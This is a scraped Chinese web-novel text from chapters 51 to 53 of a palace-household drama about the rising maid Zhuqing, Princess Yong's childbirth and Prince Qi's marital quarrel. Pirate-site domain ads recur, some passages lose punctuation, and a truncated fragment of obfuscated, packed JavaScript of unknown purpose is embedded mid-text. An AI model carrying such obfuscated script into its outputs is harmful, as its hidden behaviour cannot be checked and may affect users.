曾婆子这是头一回被管事的请去,可不就张着嘴笑得咯咯咯的。 “你们可一定要来,我还请了旁的相熟的几个人,就怕着没有机会凑齐恁多人。孔管事千叮嘱万交 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其实当初查过竹清之后,知道她是雍王妃的丫鬟,罗娘子有一瞬间后悔自个的举动,但是在万寿节上一见,她忽的就不担心。 这一回,她凭着自个的本事解决了雍王府的问题,她也不会去过多关注,这是她的能力。 * 全哥儿洗三礼这天,雍王妃亲自抱了全哥儿出来,由着全福妈妈接过去开始仪式,全福妈妈先是打了打全哥儿的脚心,待全哥儿哭了,她又一连串地说出吉祥话,“哥儿哭声有力,日后定会身强体壮。打一打脚,福气自由脚心传遍全身…… 这完了后,她又 把全哥儿放进金盆中,里头早已搁着一些金子做的粽子、玉做的笔墨纸砚、做工精美绣着福字的荷包…… 如此,仪式才结束了,雍王妃说道:“把全哥儿抱去偏屋罢,教奶妈妈好生看着,全哥儿还受不得凉。 来观礼的夫人们俱都在暗赞雍王妃大度,瞧瞧人家的做派,甭管是不是做戏,到底面上全了。 平宁大长公主也在这儿,她意有所指地嘲讽道:“雍王妃这样的贤惠主母堪称表率,不然当主母的,见天儿地与后院侍妾争风吃醋,还把主君逼到外头躲着的,这算甚麽? 附近的夫人们皆是手帕点了点鼻尖,挡住嘴角的笑意,平宁大长公主这话可是把宣王妃从头到脚骂了一遍,最近那些天,宣王府的吵闹可是连住的近的几家都能听见。 宣王妃脸色有些难看,又不敢对着平宁大长公主发脾气,这位是谁?当今一母同胞的姐姐,谁都敢骂两句的。 脾性火爆,又是那样的身份,连宣王妃在她跟前都要让几个头。 雍王妃见了这边的官司,赶忙来了把平宁大长公主拉到那头去了,还与她说道:“劳您大驾,坐,不知公主今日可觉得热? “倒不太热,屋子里堆得冰多。平宁大长公主自然顺着雍王妃的话,不再想着喇宣王妃了。 这一通下来,已然是教众人都知道了,雍王府有哥儿了,这往后,府中没有哥儿的,唯有祁王府。 祁王妃今个也在这儿,这样的大日子,她不好推脱,只不过来了之后,望着全哥儿发呆,又下意识地摸了摸肚子,嘴边噙着一抹苦笑,也不多言语。 她与身边的祁王仿佛很陌生,眼神都不会多给一个,有时祁王寻她说话,她也只是冷冷淡淡地应和。 待月上枝头,回府的路上,祁王还在问祁王妃,“你还在生气麽?怎的不兴理我? “有甚麽事快些说。祁王妃垂眸。 祁王坐得离她近一些,“王妃,我都与你道歉了,你还要怎样? 他承认自个做得不对,可是也没有教她受太大的委屈,就连法子,也想好了,过继一个。 “你若想要孩子,这般,待雍王妃生了,若是个哥儿,我就与他商量,让他把全哥儿过继给咱们。我今日注意到了,你一直望着全哥儿,可 是喜欢他?”祁王自以为摸到了祁王妃的心意,却不知这一番话教祁王妃怒火中烧。 她冷哼一声,道:“呵,你能不能不要再关心我?能不能彻彻底底地冷着我?这头与旁人恩恩爱爱,那头又假模假样来关心与我。怎麽,我很像缺了你那点关心的人麽?” 祁王能哄着祁王妃,是因着自带的温柔多情,可是再温柔,再多情,也禁不住祁王妃三番两次的不给脸面。 “那你要如何?这也不行,那也不对,与你一个孩子养着,你膝下不寂寞,这不就好了麽?我也不会去与其他两位兄长争抢甚麽,咱们就安安稳稳的过日子,行不行?”祁王别过头,是最后一次求和了。 他不想一回到王府便看见到处都冷冰冰的,若是祁王妃能想开,那就最好不过了。 “安安稳稳?也成。你先与那佛子、戏子、太监、商会会长、探花郎、翰林学士、将军——”祁王妃停顿了一下,苦笑,“我竟然一时间说不完。罢了,我只这麽与你说,你与他们断个干净,与我过日子。往后,我自当个糊涂的人,不去计较你以前的事儿。” “你这不是为难我麽?”祁王风流的眼眸暼向祁王妃,就只这麽淡淡的一眼,教祁王妃心里一突。 就是这样的眼神,大婚那日,他也是这般看她,似有情,又似无情,教她沉醉。那时她还窃喜,遇见了一个合乎心意的夫君。 “为难?那我也为难为难你,你做了甚,我也做甚。往后我在外头温香软玉,你愿不愿意?”祁王妃一连把心中委屈化作不忿,自然,闺阁中学的规矩教她断然不敢这般做的,但是并不妨碍她吓唬祁王。 “我与他们只是逢场作戏,又没有真情,你又何必这般诋毁自己?”祁王说,“你是个好娘子,别作践自己。” 祁王妃忍着眼泪,又是这样的体贴,他做甚就不能无情一点?至少那样,她也就不用纠结了。 吵了这样一架,祁王妃已然想明白了甚麽,不再与祁王纠缠,日后各自过活去罢! 约莫人人都有烦心事,雍王妃与雍王也有了一些争吵。 “我当初就说不要举办洗三礼,你瞧瞧,冷了全哥儿一场,教他发高热了。”雍王责怪雍王妃,雍王妃自然不肯受骂,反驳道:“王爷不是也觉得好?父皇也赏了东西下来,王爷的意思是,父皇有错麽?” 李侍妾在一旁,听着雍王静默了,她便开口道:“都是妾身没有看好全哥儿,王爷王妃莫要吵嘴。” 全哥儿还小,难受便哭闹不止,连带着李侍妾心肝抽痛。 一碗药下去,到底教全哥儿退烧,保住了。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 作者有话要说 第 52 章 雍王妃生产(修) 过了两日,六月初八这一日竹清依旧忙碌,明日就是她的生辰。 她原是不想过的,奈何如今已经是大丫鬟了,倒是要置办两桌儿,请些相熟的来贺一贺。 孔管事听闻了此事,问她,“那你请不请章管事他们?到底以后要一同共事,不好不请。” “我请了,他们便会来麽?”竹清问,她注意力全在手上的单子上,正点着新进礼品的数量呢,对孔管事的话有些敷衍。 “你在听麽?” 竹清放下单子,说道:“听的,且教他们给我面子,只是一溜烟都请了,少不得五六桌儿,就得去外头请了,来来回回的,太折腾了。” “怎麽能叫折腾?虽然是麻烦了一些,这般,你与他们不熟,我替你去请,请回来了,你只管置办,我替你招待,如何?”孔管事这回可就是揽事了,若不是竹清先前帮了他,他是断然不可能替她奔波的。 “也成。” 于是生辰这一日,聚仙楼中,孔管事带着大大小小的管事们来了,这些管事手上皆提着礼盒,见了竹清,也是脸上带笑,一口一个竹清姑娘。 来帮忙的画屏、曾婆子等人咋舌,暗叹竹清这回可了不得了,恁多管事都服她咧! “管事们能来,实属是给我面子,快快上座儿。”竹清说,这些管事们暗中打量她,见她做事有条理,为人谦逊,便知道竹清作副管家已经是板上钉钉的事。 宋管事没有来,但也教另外一个副管家送来了礼物,叫大家知道,宋管事也看好竹清。 如此,倒教竹清地位愈来愈稳固。 这来吃席的人,有前院的管事们,有后院的妈妈婆子们,但凡是说得上话的人俱都给了脸来了。 生辰宴吃罢,竹清已然与其他管事相熟起来了,甭管内心如何想,面上她与管事们妈妈们言笑晏晏,瞧着和谐的不得了。 忙碌了一天,待回到正院,雍王妃扶着高隆的肚子坐下,小口小口地吃了一碗面。 她问道:“母亲可有回信了?有了,快快与我带来。”她寄信给母亲,就是想让母亲来住一个多月,生产的时候镇着,这才不会出错。 “还没呢,安州离这儿远,想必有回信了,也还在路上,王妃莫急。”画屏安慰她。 “我 如何能不急。”雍王妃忧愁,又说道:“我只要一想到李侍妾因着难产导致现在还有除不尽的血块,我就瘆得慌。” 到底还是小娘子,雍王妃也是会害怕的。 过了两日,雍王妃终于等到母亲的回信,信中说她已经启程,预备着在七月份到盛京城。 “母亲就要来了。竹清,你去收拾出一个院子来,就庆阳院罢,意头好,院子也宽敞。”雍王妃喜不自胜,竹清领命去了。 雍王妃的肚子已经隆得老高了,陈嬷嬷作为有生育经验的人,这段时间也不常家去了,只呆在王府里,一错不错地盯着雍王妃的饮食。 七月初三,竹清与暖春在码头处接到了姜大夫人,她保养得宜,瞧着约莫二十多岁,眉眼柔和,走动间也是笑着的,看着就是个好脾气的。 “夫人。”暖春先行一步扶着姜大夫人,嘴上说道:“夫人小心脚下。” 姜大夫人自然记得她,她救过姚姐儿一次,加之做事一直勤勤恳恳,跟了姚姐儿恁多年,是个衷心的。 “姚姐儿近日如何?进得香不香,反应可严重?”姜大夫人一连问了好些个问题,姚姐儿是她生的第一个孩子,自然最得她疼爱。 “王妃一切安好,夫人不必担心,等下亲眼见了王妃,您亲自问她,岂不是更好?有些事,王妃也不与咱们作奴婢的说,唯有您来,她才肯发泄一二的。”暖春这般说了,只教姜大夫人更加念着雍王妃了。 “怎的只有你来?绘夏呢?”姜大夫人又问,她是知道的,繁秋与温冬当侍妾了。她们两个当初是她特意为姚姐儿挑的,冲着好容貌去的,日后可以伺候主君。 “欸,夫人只顾着绘夏,您转眼瞧瞧奴婢身后的这个,可好不好?”暖春点了竹清出来,竹清喊了一声,“夫人好,奴婢叫竹清。” “哟,真是精神,伺候王妃的大丫鬟?”姜大夫人在暖春与竹清的掺扶下上了雍王府的马车。 “正是,如今除了奴婢与绘夏之外,近身服侍王妃的还有画屏与竹清。这还不止呢,竹清年底就要作副管家了,也就两三个月之后的事。”暖春替竹清争脸。 “果真?”姜大夫人惊奇,握住了竹清的手,上上下下打量她,口中止不住地夸赞她,“好孩子,难为你恁小就作这样多的事,可真 真儿是能干,平日里可觉得劳累? “夫人这是哪儿的话,奴婢替王妃作事,只恨不够的,不觉得劳累。只盼着当了副管家之后,能替王妃分忧,如此才全了王妃对奴婢的照顾。竹清一番话说得漂亮,她不可能顺着姜大夫人的话说下去,再如何,她是主子,而她,是奴婢。 奴婢还能怪主子给的活多,以至劳累麽? 果不其然,闻言,姜大夫人脸上的笑意愈发深,又拉着竹清问了好些话,如此,待到了雍王府时,姜大夫人已经认可了竹清。 正院。 “母亲。雍王妃一把扑入姜大夫人的怀里,母女相见,俱都泣涕涟涟,泪水刷啦一下就出来了。雍王妃这一声把姜大夫人的心喊得皱起来了,难受得紧。 抱着哭了好一会儿,在周围妈妈们丫鬟们的宽慰下两人这才慢慢止住了声音。 “我的姚姐儿,可慢点,你现在双身子了,不能跳来跳去的。 “知道了。雍王妃与母亲一同坐下,又吩咐了人去拿母亲爱吃的糕点茶水来。 听闻了王府发生的大大小小的事,姜大夫人劝慰道:“你已经做的很好了,寻常人家的主母哪儿会给庶子举办洗三礼?还请恁多的达官贵人前来观礼?对了,李侍妾是个安分的罢?还有贺侧妃…… “对了,我听说你养了一个姐儿? 正说着,敏姐儿就来了,姜大夫人不动声色地打量她,到底不是亲孙女儿,即便雍王妃在身边,她也不过是拉了敏姐儿问了一些话,再送了一个玉佩以作见面礼,旁的,也就没有了。 “敏姐儿,这是你外祖母。 “外祖母好。待问过安好,敏姐儿就被带走了。 雍王妃看向姜大夫人,无奈地说道:“母亲,这是您的外孙女儿,你何必这般? “我装得还不够热切麽?不过是你了解我,才觉得我不喜敏姐儿,应付外头的人,这也够了。姜大夫人说,起码敏姐儿是看不出来甚麽的。 “我不阻拦你养敏姐儿,你也别强迫我喜欢敏姐儿。 听见姜大夫人这样说,雍王妃叹气,她也知道,敏姐儿不是她亲生骨肉,又不是她自小养着的,血缘没有,情分也没有,让母亲一时间接 受敏姐儿那是不可能的。 * 如此问了一通姜大夫人心里有了数这才安心在庆阳院住下了。 孔管事教给竹清的事越来越多了他已经在收拾东西只待十一月初就家去了。 “要不是家里儿子孝顺我是如何也不肯走的。”孔管事说当管家多好呀一年到头得的赏赐数不胜数再有旁人的孝敬。 竹清这会儿正在清点王妃生产所需的物品 “算了这里即将是你的地儿我可不占着。”孔管事点了点自个坐着的椅子。 三个管家在王府角门附近有一个专属的小房比门房大上一半一人一个桌椅如同衙署礼办公的大人旁的人有事就来这里寻他们。 当然竹清注定是不同的她在后院还有差事等当了副管家在这里的时间想必比较少。 如此过了一个月八月初六这一天早晨雍王妃忽的肚疼稳婆一看羊水破了一点点这是预备生了。 姜大夫人赶紧吩咐人扶着雍王妃进早已准备好的产房再去姜家请姜二夫人她怕自个一个人总有顾不到的地方。 雍王妃进去还没多久姜二夫人就来了她盯着小厨房那边雍王妃入口的汤药、补药以及吃食皆不能有错。 后院的莺莺燕燕俱都来了连刚刚养好身子的李侍妾也在这儿康侍妾虽然有孕但是这个时候也不敢撒娇卖痴只能老老实实地候着。 待雍王下朝紧赶慢赶地回来后姜大夫人便让他守着外头自个进去陪雍王妃。 这时雍王妃还没有生甚至只开了双指可预见她的这一胎不太顺利。 竹清正在喂雍王妃小口小口地吃东西补充体力姜大夫人伸手“我来罢。” “母亲怎的来了?这里脏您快出去。”雍王妃催促得了姜大夫人的一个黑脸她轻轻拍了拍雍王妃说道:“我自个的女儿生外孙难不成我还嫌弃脏臭不成?不论如何你都是我的姐儿你放心我在这里守着哪个都不敢造次的。” “姚姐儿你要平平安安的生。” 姜大夫人想哪怕姚姐儿难产黑白无常要勾魂那也得过了她这一关才成。 午时,雍王妃还没有生。 竹清看得有些着急,雍王妃只时不时有痛呼,现在才开了六指,稳婆教姜大夫人不用担心,“夫人,妇人的头一胎都是艰难一些的,王妃这会儿留着力气,待会儿才好生。 待用了一碗粥后,雍王妃忽的发动了,抑制不住地喊了两声,断断续续的叫喊一直维持了一个时辰,终于,一声啼哭,稳婆抱着一个婴孩出来,朝雍王恭贺道:“恭喜王爷贺喜王爷,王妃产下了一个哥儿。 “我抱抱。 “回禀王爷,王妃累极了,现下已经睡过去了,夫人在里头陪着。稳婆回答了,又听见雍王说赏银钱,忙不迭地又谢恩。 平常爱美人的雍王这一刻看不见后院的女子们,满心满眼地都是自个的嫡子。 孩子还没有取名字,他是想进宫,让圣上取的,毕竟宣王的嫡长子承哥儿也是圣上取的名儿。 竹清跟着忙进忙出清理产房,房里不能见风,故而俱都关闭起来,连冰块也不能使。 现在是八月份,酷夏远没有离去,所以雍王妃坐个月子,定是要遭罪了。 雍王妃平安产子,早已有人传消息去了,皇后得知了,让人准备补气血的药物,还有预防小儿得病的一些单子,也一并与了宫人,使宫人送出去。 淑妃也是这般,虽然她不喜雍王妃,但是她生的,可是自个的嫡亲孙儿。淑妃还没见过孙儿呢,就已经喜欢上了,一叠声吩咐人去送东西。 这是一件喜事,竹清帮着宋管事分发赏钱,待分完了,就有小丫头前来寻她,“竹清姐姐,王妃寻你呢。 “王妃寻奴婢有何事?竹清在产房里见到了雍王妃,她头上裹着巾子,半点见不得风。 “我想洗头,她们都不让,痒死了。生了孩子的雍王妃反倒更加无赖了,只把问题抛给竹清,说道:“你替我想想法子,洗不得,又不能见天儿地抓挠,我可忍不了一个月。 竹清早已观察过了,雍王妃是大油头,一两天不洗头发都会油成一绺一绺的,她笑着打趣道:“王妃还是小孩子脾性。奴婢已经做了能止痒去油的头粉,不过味道, 算不得好闻,且待奴婢等下为王妃涂一涂。” “好。”雍王妃喜道。 “我观你的肚皮,倒是没有疤痕,比起你的几个妹妹,这倒是好多了,光滑如初。”姜大夫人感叹,姚姐儿的几个妹妹自从头一胎有疤后,就渐渐不得夫君喜爱了,得亏是正头大娘子,不然没地位没宠爱的,如何过活? “这倒是竹清的厉害了,她与我使的膏脂,不仅肚皮没有痕,您看看我这脸上,依旧白嫩。”雍王妃得意,她是女子,自然是爱美爱俏的。 姜大夫人心念一动,说道:“效果竟这样好?那你与我一些。” “成,我让竹清去办。” 燥热的天,产房里却并不允许见冰,甚至有风也不行,这可把雍王妃苦坏了,在竹清与她擦头粉的时候,她就抱怨道:“如今我倒愈发成了一个瓷娃娃了,碰不得这个那个的。” “坐月子都是如此的,要是见了风日后可不好,头疼胳膊疼腿疼,王妃还是好生坐满一个月罢。”竹清安慰了发牢骚的雍王妃,又与她说道:“王妃,今日从安州寄过来的贺礼您要看看麽?奴婢还没有使人分好装库呢。” “都有些甚麽?”雍王妃问,待听见竹清挑挑拣拣说的物件儿后,道:“那些小孩子的肚兜拨浪鼓甚的拿出来,其余的不必了。” “欸。”竹清便去了。 姜大夫人在王府,倒是省了雍王妃许多的烦心,一些迎来往送,宴会的布置都是她在旁边看着。 “琮哥儿的洗三礼可断然马虎不得。”姜大夫人抱着外孙,一边逗着他一边与雍王妃说。 雍王前几日进宫觐见了陛下,把这等喜事与陛下说了后,又求陛下为嫡子赐名,陛下便赐了“琮”这个字。 雍王妃漫不经心的,眼神落在礼单子上,慢慢悠悠与姜大夫人说道:“这是必然的,我生的头一个男孩,洗三礼自然得好好大办。母亲觉得我先前为何替全哥儿办了那样一场不糙的洗三礼?” “我就是在这里等着呢。” 一个侍妾生的哥儿的洗三礼都那般有水准,眼下她生的孩子办洗三礼自然不可能比全哥儿差,瞧瞧,调子就定在这里了。 “只是你生的是嫡子,洗三礼办得大也是合理的。何必这样弯弯绕绕呢?”姜大夫人不解。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他这个人,瞧着不苟言笑,实则内心软和着,许是不想见你伤感罢。”宋管事暼了竹清一眼,有些纳闷竹清怎麽与孔管事成为忘年交的,还能让他为她求了好友们,让他们照顾着她点。 真真儿是让她稀奇。 得知孔管事有可能提前家去,竹清便寻了一个时候出府,再打上几样孔管事爱吃的菜与一角酒,去他家中寻他。 正巧孔管事在逗弄孙儿,见了竹清,忙让小丫头送茶,“你来怎的不与我说一声,要是我出去了,你指定见不着我。” “我估摸着你应当在的,不在我便等你,这有甚麽的。”竹清说罢,又问起孔管事是不是要提前走。 孔管事一愣,随后叹息,“原是不打算恁早告诉你的,不过 现在既然你都知道了,我就与你说,十月底,我就离开王府了,得王爷王妃垂怜,我在老家中州得了一份小差事,这般有事作着,又不忙,便正正好了。” 哪怕家去了,下人们也还是王府的奴仆,自然不可能甚麽都不干。 “孔管事……是为了我挪位子麽?”竹清斟酌,到底这般问出来了心里的想法。 “你倒是聪明。”孔管事捻着玉扳指,说道:“我早走晚走都是要走的,不若早些,到底教你名正言顺地跟着宋管事学东西,不然你跟着忙进忙出的,却没个体面,这不成。” 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 孔管事念着竹清的好,愿意退让半步成全她,也是为自个家人留下一条人脉,他虽然走了,不过还有两个儿子在王府里做事。 “那便谢谢孔管事了。”竹清与他碰了茶盏,如此喝罢,一切尽在不言中。 竹清做事愈发有章程,八月初十,琮哥儿洗三礼这天,她领着人布置。 雍王妃还没出月子,只不过卧床也得见客,故而也还是梳妆打扮的,头上梳着的发髻是竹清精心为她编的,衬得她端庄大气又带着一股为人母的温婉。 “瞧瞧琮哥儿,这般喜欢笑,日后定万事无忧。” “我看也是,且这眼睛多有神,黑黢黢的,一看将来就是个丰神俊朗的公子哥儿。” 来内室看琮哥儿的夫人们一个个口中都说着吉祥话,反正上天下地,有甚麽夸人的词都教她们说了个遍。 “夫人们且莫这样夸他,他听了,指不定如何得意呢。”雍王妃也笑。 洗三礼很快开始,这回来观礼的宾客可比上回全哥儿那时候还要齐全,待琮哥儿被打了脚心,哇哇大哭之后,洗三礼就差不离准备结束了。 之后便是雍王与宾客们你来我往,喝酒敬酒,一时间,雍王府好不热闹。 待过了洗三礼,竹清又开始跟着宋管事筹备琮哥儿满月礼、过后中秋节的事宜,各家送礼、回礼皆是马虎不得。 忙碌了好一阵儿,十月底,孔管事把腰牌还给门房,再把办事的地方的东西收拾好,就离了王府。 至此,雍王妃便把王府所有的管事与妈妈们叫到一处儿,正式地介绍竹清,“孔管事家去,王府的副管家缺了一个人,本王妃与王爷商议过,就教竹清作副管家,你们 也都相互见一见,有甚麽差事需要合作的,也不会找不到人了。 “我进府前的名字作不得数,且到底年纪还小,各位教我竹清姑娘便好了。竹清笑着说,竹清管事,听着有些怪怪的。 偏偏她卖身,姓名直接改成了竹清。 如此认识一通,竹清早与这些管事见过,一同吃过几回酒,已然熟络,所以她很快对各种差事上手,也没有人故意刁难她。 竹清一当上副管家,便要了曾婆子与明心去给她打下手,曾婆子一跃成为了体面的小管事,被人叫一声妈妈,可把她得意坏了,这些天走路都是八字步,神气! 中秋一过,日子就过得快了,这日,竹清刚从外头回来,在正院茶水房吃了一碗乳酪子,就看见绘夏来寻她。 “我便知道,你在这儿。 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节)绘夏笑着进来,一旁坐着的小丫鬟见两位姐姐要谈话,寻了个由头出去了。 “我刚回来,正坐这儿偷懒呢,你有甚麽事?竹清问罢,就看见绘夏脸上出现了一抹不太明显的红晕,她也坐下,慢慢说道:“我预备着明年一月中旬出嫁了,所以这会儿来寻你,你那个时候能不能空出时间来,我请你参加宴席。 竹清挑眉,“恁早?不是说明年年底麽? “是我那未婚夫的祖母病了,他们请了道士看了看,说是冲喜可破,所以便提前了。绘夏表情有些复杂,既不想恁早嫁,又不想担上不孝顺的名儿,左右犹豫了几天后,她这才决定了。 “成亲是件喜事,我到时一定去,还与你一份厚礼。竹清说,虽然与绘夏不算十分交心,但是面子上还是要过得去的,绘夏离了雍王妃身边,婚后应当去做个管事。 作者有话要说 第 53 章 琮哥儿 这般想着,竹清就问绘夏,“王妃可给你安排了活计?” “有了,说是等我出嫁,过了一两个月就教我去外头的布庄上管着几个人,教我有一份口粮。”绘夏说着有些低落,布庄的管事,听起来威风,实际上哪怕是王爷王妃重用的大管事,都得与她们这些贴身丫鬟和颜悦色的,内里差别大了去了。 不得脸的妇人,甚至连自个的名字都不配拥有,若是嫁给了李二,就被人叫一声李二家的。 多可怕! “那也不错,做管事在外面行走也方便,你只管好好做,有了功劳苦劳,王妃肯定是记着的。”竹清宽慰她。 “说起来,我还挺羡慕你的。”绘夏说,自从竹清当了副管家,她们也都知道了,竹清日后是要自梳的,相当于用婚嫁换了前程。 没有几个小娘子能有这份决心,她们一半佩服,一半担忧。 “竹清,你不嫁人,日后可怎麽办啊?没有夫家便罢了,孩子也没有,以后谁与你养老?”绘夏忍不住问,她自小听的就是女子要出嫁从夫,夫死从子,没有夫君与孩子是会被人骂死的。 “你怕甚麽?指不定将来我有甚麽大造化,不住的有人送上门要与我养老呢?只要钱财握在手里,还怕过得不快活?”竹清随口一说,望着绘夏不赞同的神色,她又岔开话题,问了一些她夫家的事。 * “明心,这一份礼你带人送去张家,曾妈妈,这一份你领着人送与楚国公府……”竹清有条不紊地安排人回礼,曾婆子如今被叫作曾妈妈,很是有些地位了。 曾妈妈应了,立马去办。 “竹清姐姐,我,我方才配礼的时候,这一根丝带不小心弄脏了,这可怎麽办?”一个小厮哭丧着脸,他是新来的,最近事情多,宋管事点了他做这个,哪知刚来就出错了。 “我瞧瞧。”竹清看了,送礼的丝带叫彩云丝带,都是专门买的,随便拿一条顶上肯定是不行的。 “我记得买彩云丝带的时候都是预留多的,去拿了用罢,这条记到耗费上。”竹清说,只是她话音刚落,就见这个小厮期期艾艾地说道:“竹清姐姐,我方才问过了,王妃临时加了几家的礼,这会儿彩云丝带都用完了。” “你……”竹清想骂他,不过骂人不能解决问题 ,她想了想,问道:“这是送到忠义侯府的?” “是。” 那就难办了,如果是人口简单的,那一份礼换上别的丝带凑合也可以,偏偏不是,忠义侯府一大家子虽然俱都住在一起,但是内里已经分家。那家有五六个嫡子,也就是说,雍王府与他们送礼,得一连送五六份,这就导致了,若是这一份礼换丝带,那麽其他的几份也要跟着换。 库房里没有多余的其他丝带,这事儿有些棘手。 “木生,你怎的出这样的纰漏?彩云丝带是多数人家会用的东西,现在只怕早被预定光了。”竹清说,彩云丝带有些贵,且不好生产,都是要提前订好的。 “竹清姐姐,您想想法子,我,我日后与你做牛做马,您救救我罢。”木生脸色惶然,他不敢想象王妃会如何责罚他。 “莫急,你有银钱麽?咱们出去碰碰运气,若能买一条回来,就再好不过了。”竹清说,她可不会给他出钱,让他自个破财挡灾,当买个教训了。 “有的有的,姐姐只管带了我去,我付钱。”木生一听还有补救的法子,喜得说话都不利索了,赶忙催了竹清去。 * “哟,这不是竹清姑娘麽?大驾光临啊,快坐快坐。”曹大商人见了进门的竹清,赶紧放下手上的东西,挥挥手让掌柜的下去泡茶,他自个则是领着竹清与木生上了楼。 竹清上座后,只问了曹大商人有没有彩云丝带,曹大商人皱眉,“竹清姑娘,彩云丝带的用途你也知道,我是还有些,都是各家各府预定好的,我不能私下与你,这不符合规矩的。” 做商人最重要的就是诚信,他今日能匀货物给旁人,日后也能匀给其他人,一来一往,信用就没了。 “您真的没有了麽?”木生忍不住开口,眼巴巴儿地看向曹大商人,教曹大商人一顿,几乎立马就知道了竹清是来给人善后的。 “真的没有,咱们商会的彩云丝带,俱都预定的,多的那是一点也没有,因着彩云丝带不好保存,咱们可不能亏了。”曹大商人说,这也是为何家家户户每年都要购置彩云丝带的缘故,这丝带,前前后后一个多月就会烂的。 “若你要别的,我都可以给你寻来,唯独这个,实在是难。”曹大商人说。 “欸,知道了。” 竹清叹气,正逢掌柜的找曹大商人,她们三个便一起下去了。 首饰铺子门前,停着一辆略低调的马车,曹大商人把竹清与木生送走之后,这才转过身,亲自到马车旁边迎了客人下来。 那大娘子下来后边进门边问道:“刚才那两个来做甚的?” “王妃认识她们?她们是来寻我买彩云丝带的,只是我这里最后一点都被定了的。”曹大商人解释,他口中的王妃,赫然就是祁王妃! 祁王妃是出来散心的,正好到这儿,便在贴身丫鬟的劝说下来逛逛,不巧正看见了竹清。 “我记得我还有一点在你这里的,你把那些与了她,给她送去,倒也不必与她说是我给的。”祁王妃说,就当是念着当时竹清宽慰她。 竹清是个好的。 “欸?欸欸。”曹大商人先是愣了愣,接着去办了。 竹清刚回到王府没多久呢,就有人报曹大商人送了彩云丝带过来,竹清亲去迎了,问他,“怎的又有了?” 曹大商人也常来雍王府,故而不惧怕,大大方方地与竹清交谈,“恰好有人不要了,说这麽一点成不了事,我一想正好够你用,赶忙就送来了。” 木生跟在竹清身后,越听眼睛越亮堂,激动地恨不得替竹清说话应下。 只是竹清不好糊弄,她怕曹大商人送这个来会得罪人,给雍王府带来麻烦,所以她没有立马应,而是问道:“哪家的?方便与我说麽?王妃问起的时候,我也好回话。” 曹大商人说了那家,又道:“他们的的确确是换了旁的,千真万确。” 自然,那家是换了,不过不是用彩云丝带换的,他不过是省略了几个字,反正也没有说错甚麽。日后竹清姑娘知道了,也怪不到他头上。 竹清存疑,见曹大商人脸上信誓旦旦的,倒是收了,待曹大商人走后,木生还问竹清,“姐姐,你在想甚?” “没有,你拿了这些进去罢,快些干活。还有,方才宋管事是不是问彩云丝带还有没有多的,你送过去。”竹清吩咐木生。 如此,这事就办好了。 晚上,雍王妃问起事来,“今日有了错误?” “是,叫木生的,第一次做,没有经验,之后奴婢寻到了新的彩云丝带,他也做的好了,再没有 错的。竹清说。 “新的?雍王妃意外,听竹清讲完,她直觉不对,“只怕这是旁人匀给我们的,不过这点子东西,收了就收了。哪怕是有事相求,也不可能凭着这点丝带就上门的。 “奴婢也这样想,左右不碍事。 “对了,中秋节的事情办好,就得紧着年底的年礼了。雍王妃说,年礼置办起来零碎繁琐,大多都是提前一两个月准备的。 “是了,宋管事已经与奴婢商议过的,到时候分一些事情下去。竹清说罢,就看见雍王妃点点头,赞她们,“有你们办事,我是放心的。 要不说大娘子们出嫁得带得力的陪房妈妈呢,宋管事与竹清虽然不是她的陪房,但是聪明能干,教她省心省力。 “母亲。声到人未到,不一会儿,敏姐儿跑进来,兴冲冲地与雍王妃说道:“母亲,今日我回来晚了,皇祖父把我们喊到勤政殿问功课,我答得比承哥儿还好,得了皇祖父赏的点心。 她年纪小,但是也知道她与承哥儿他们是相争的关系,故而这会儿压过承哥儿,就觉得高兴。 敏姐儿让奶妈妈把点心盒子打开,与雍王妃分着吃。 “果真?雍王妃仔仔细细问了她,又低声与她说一些需要注意的事情,待听罢,敏姐儿点头,又惋惜道:“可惜弟弟不能吃,可好吃了。 “无妨,日后还是有机会的,待他大了,你领着他去读书,教他争气,也能得皇祖父的赏赐,好不好?雍王妃哄了敏姐儿,让人打水与她洗手。 明里暗里的争斗不止在王爷王妃中频发,连年纪不大却老成的皇孙们都懂得了要争。 承哥儿是宣王府的嫡长子,生来身份尊贵,更何况,陛下与了他“承字作名字,着实教他风光了好一把。 直到……雍王府的嫡出哥儿得了一个“琮字,这是一个寓意颇深的名字。 承哥儿抿着嘴,听着一道读书的妹妹絮絮叨叨,“大哥哥,今日雍王府的敏姐儿也太得意了。她一个小娘子,做甚这般出众? 生在宣王府的姐儿自小在宣王妃手下过活,早被教成了不能与哥哥弟弟争风头的,故而她以为,雍王府的哥儿姐儿也该是这般才对。 “你莫要说这样的话,谁出众都好,我们只找自己 的问题我今晚努力看书争取他日也得皇祖父的赏赐。”承哥儿说他自然知道讨好皇祖父是一件如何重要的事。 只是他也知道争抢第一不能压着旁人的出色该是自个堂堂正正赢才对。 * 伺候琮哥儿的奶妈妈有两个这是防着琮哥儿吃一个的奶吃不习惯故而多寻了一个替着用。 这日正巧圣上病了雍王与雍王妃进宫侍疾王府里头的事便交由三位管家去做。 竹清忙完照旧去房中瞧了瞧琮哥儿只是一进去就发觉了不对劲琮哥儿今日怎的恁安静? “往日琮哥儿在这个时辰都是哭闹的这会儿为何不出声了?”竹清把其中一个奶妈妈招到外头问话闻言奶妈妈并不放在心上她说道:“竹清姑娘您没有生养过婴孩脾性反复无常极其容易改变的。昨天吵闹今天安静那是再常有的事了。” “是麽?”竹清狐疑地走到小床旁边琮哥儿脸蛋粉嘟嘟的睡得正香。 奶妈妈赶忙说道:“呐真不是我骗您您瞧瞧琮哥儿这不是好端端的?” “嗯……”竹清食指轻轻碰了碰琮哥儿的脸瞧着是没甚麽事正预备着离开忽的琮哥儿动了动手露出来的手指上还有不甚明显的红点。 “这是甚麽?”竹清往下扯了扯琮哥儿的衣袖琮哥儿一整条手臂都是星星点点的红色痕迹再一瞧另外一只手臂也有。 “这这是怎的了?”奶妈妈惊慌失措她没有想到应当睡着的琮哥儿出了这样的事。 “来人去请府医还有这个奶妈妈带下去看管起来。”竹清吩咐了人她如此高声说话奈何琮哥儿依旧沉睡一看便知道事情不小。 好一阵儿兵荒马乱新来的府医替琮哥儿诊断了说道:“是吃了不受的东西哥儿才起了疹子且若不是早些发现只怕哥儿会愈发难受 这个府医是专门替小儿医治的他说的话自然有份量竹清便教人询问奶妈妈今日吃喝了甚麽在奶水里传与了琮哥儿。 